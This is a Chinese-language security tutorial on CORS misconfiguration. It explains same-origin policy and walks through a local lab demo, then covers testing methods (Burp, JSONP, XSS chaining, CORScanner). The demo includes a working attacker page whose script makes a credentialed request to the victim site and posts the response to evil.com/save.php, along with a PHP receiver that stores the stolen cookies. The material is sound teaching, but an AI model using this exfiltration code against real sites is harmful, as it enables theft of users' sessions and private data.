最近斗哥在學習CORS的漏洞和相關的一些知識梳理,網站如果存在這個漏洞就會有用戶敏感數據被竊取的風險。
0x00 從瀏覽器的同源策略說起
SOP,同源策略 (Same Origin Policy),該策略是瀏覽器的一個安全基石,如果沒有同源策略,那么,你打開了一個合法網站,又打開了一個惡意網站。惡意網站的腳本能夠隨意的操作合法網站的任何可操作資源,沒有任何限制。

(圖片來自網絡)
瀏覽器的同源策略規定:不同域的客戶端腳本在沒有明確授權的情況下,不能讀寫對方的資源。那么何為同源呢,即兩個站點需要滿足同協議,同域名,同端口這三個條件。
SOP是一個很好的策略,但是隨着Web應用的發展,網站由於自身業務的需求,需要實現一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內容。
CORS,跨域資源共享(Cross-origin resource sharing),是H5提供的一種機制,WEB應用程序可以通過在HTTP增加字段來告訴瀏覽器,哪些不同來源的服務器是有權訪問本站資源的,當不同域的請求發生時,就出現了跨域的現象。
0x01 跨域訪問的一些場景:
1.比如后端開發完一部分業務代碼后,提供接口給前端用,在前后端分離的模式下,前后端的域名是不一致的,此時就會發生跨域訪問的問題。
2.程序員在本地做開發,本地的文件夾並不是在一個域下面,當一個文件需要發送ajax請求,請求另外一個頁面的內容的時候,就會跨域。
3.電商網站想通過用戶瀏覽器加載第三方快遞網站的物流信息。
4.子站域名希望調用主站域名的用戶資料接口,並將數據顯示出來。
0x02 CORS漏洞的攻擊流程
那么CORS跨域導致用戶信息泄漏是怎么發生的呢?

●1.假設用戶登陸一個含有CORS配置網站vuln.com,同時又訪問了攻擊者提供的一個鏈接evil.com。
●2.evil.com的網站向vuln.com這個網站發起請求獲取敏感數據,瀏覽器能否接收信息取決於vuln.com的配置。
●3.如果vuln.com配置了Access-Control-Allow-Origin頭且為預期,那么允許接收,否則瀏覽器會因為同源策略而不接收。
0x03 CORS漏洞演示
那么斗哥通過簡單的代碼來演示下這個漏洞的發生過程。
3.1 演示環境及代碼介紹
由於是本地演示,所以斗哥通過修改hosts文件來表示域名。 hosts:
10.10.10.1 www.vuln.com (虛擬機01) 10.10.10.156 www.evil.com (虛擬機02)
我們知道cookie設置httponly屬性后,沒辦法被js讀取,但是在同路徑下的phpinfo頁面有記錄這個值,我們把phpinfo頁面當成是www.vlun.com上的用戶信息。 模擬用戶登陸www.vuln.com/login.php,接着訪問www.vuln.com/secrect.php。
www.vuln.com/login.php
<?php //假設此頁面需要登錄后才能訪問 setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0); //設置普通Cookie setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);//設置HttpOnly Cookie ?>
www.vuln.com/secrect.php,現在前兩行代碼是注釋掉的。
<? php //header("Access-Control-Allow-Origin:http://www.evil.com"); //header("Access-Control-Allow-Credentials:true"); phpinfo(); ?>
如果先訪問login.php在訪問secrect.php,那么就會在phpinfo頁面發現httponly的COOKIE。

接着模擬黑客給用戶發送惡意頁面:
www.evil.com/steal.html
<!DOCTYPE> <html> <h1>Hello I evil page. </h1> <script type="text/javascript"> function loadXMLDoc() { var xhr1; var xhr2; if(window.XMLHttpRequest) { xhr1 = new XMLHttpRequest(); xhr2 = new XMLHttpRequest(); } else { xhr1 = new ActiveXObject("Microsoft.XMLHTTP"); xhr2= new ActiveXObject("Microsoft.XMLHTTP"); } xhr1.onreadystatechange=function() { if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response { var datas=xhr1.responseText; xhr2.open("POST","http://www.evil.com/save.php","true"); xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xhr2.send("T1="+escape(datas)); } } xhr1.open("GET","http://www.vuln.com/secrect.php","true") //request user page. xhr1.withCredentials = true; //request with cookie xhr1.send(); } loadXMLDoc(); </script> </html>
www.evil.com/save.php
<?php $myfile = fopen("secrect.html", "w+") or die("Unable to open file!"); $txt = $_POST['T1']; fwrite($myfile, $txt); fclose($myfile); ?>
由於請求是從www.evil.com發出的,通過AJAX請求www.vuln.com的資源,所以,瀏覽器自動為我們加上了Origin這個字段。

通過抓包,我們可以發現,www.vuln.com/secrect.php這個請求其實是有返回內容的。

但是到了瀏覽器這邊,卻沒有繼續請求將返回的內容發送到www.evil.com/save.php,是因為瀏覽器攔截了該請求,提示沒有CORS的頭Access-Control-Allow-Origin。

3.2 去除www.vuln.com/secrect.php的注釋
<? php header("Access-Control-Allow-Origin:http://www.evil.com"); header("Access-Control-Allow-Credentials:true"); phpinfo(); ?>
接着重新訪問www.evil.com/steal.html

抓包發現請求www.vuln.com/secrect.php發現了對應的響應頭。Access-Control-Allow-Origin指是允許訪問的源,Access-Control-Allow-Credentials指的是允許帶上cookie訪問資源。這樣瀏覽器就不會出錯而攔截請求了,我們的腳本把頁面編碼后發送到www.evil.com/save.php去。

到www.evil.com這個站,發現生成了一個secrect.html文件,發現里面有httponly的cookie,漏洞利用成功。

0x04 CORS漏洞的挖掘思路探討
4.1 如何平常測試中檢查這個漏洞?
CORS的漏洞主要看當我們發起的請求中帶有Origin頭部字段時,服務器的返回包帶有CORS的相關字段並且允許Origin的域訪問。
一般測試WEB漏洞都會用上BurpSuite,而BurpSuite可以實現幫助我們檢測這個漏洞。
首先是自動在HTTP請求包中加上Origin的頭部字段,打開BurpSuite,選擇Proxy模塊中的Options選項,找到Match and Replace這一欄,勾選Request header 將空替換為Origin:foo.example.org的Enable框。

然后我們就可以開始去訪問我們認為有漏洞的網站,訪問足夠多后在BurpSuite的Proxy模塊下的HTTP history來篩選帶有CORS頭部的值。

我們的條件可以是如下:
Access-Control-Allow-Origin: foo.example.org Access-Control-Allow-Credentials: true

這里要注意的是,我們也可以測試下帶有Access-Control-Allow-Origin: * 字段的網站是否有CORS漏洞,但是如果是如下組合,則沒有漏洞,因為瀏覽器已經會阻止如下的配置。
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
4.2 JSONP的跨域
JSONP是一種簡單的服務器與客戶端跨域通信的辦法,此種跨域只能發起GET請求。其基本思想是網頁通過添加一個script元素,向服務器請求JSON數據,這種做法不受同源策略限制。服務器收到請求后,將數據放在一個指定名字的回調函數里傳回來。
function addScriptTag(src) { var script = document.createElement('script'); script.setAttribute("type","text/javascript"); script.src = src; document.body.appendChild(script); } window.onload = function () { addScriptTag('http://example.com/ip?callback=foo'); } function foo(data) { console.log('Your public IP address is: ' + data.ip); };
所以經常會去通過搜索語法inurl:?callback=來去檢測一波含有跨域的網站。
4.3 CORS結合XSS漏洞進行利用
有時候CORS配置了信任自身的任意子域,那么如果一個子域存在XSS漏洞就可以通過這個漏洞去讀取其他子域的資源,類似的場景還有比如HTTPS域信任HTTP域等。
4.4 關於CORS配置漏洞掃描
github上提供了一個關於掃描CORS配置漏洞的腳本,https://github.com/chenjj/CORScanner。
root@kali:~/Desktop/CORScanner# python cors_scan.py -h usage: cors_scan.py [-h] [-u URL] [-i INPUT] [-t THREADS] [-o OUTPUT] [-v [VERBOSE]] [-d [HEADERS [HEADERS ...]]] OPTIONS: -h, --help show this help message and exit -u URL, --url URL URL/domain to check it's CORS policy -i INPUT, --input INPUT URL/domain list file to check their CORS policy -t THREADS, --threads THREADS Number of threads to use for CORS scan -o OUTPUT, --output OUTPUT Save the results to text file -v [VERBOSE], --verbose [VERBOSE] Enable Verbosity and display results in realtime -d [HEADERS [HEADERS ...]], --headers [HEADERS [HEADERS ...]] Add headers to the request. Example: python cors_scan.py -u google.com
我們將檢測的域名寫在一個記事本里,然后使用-i參數去進行批量掃描。
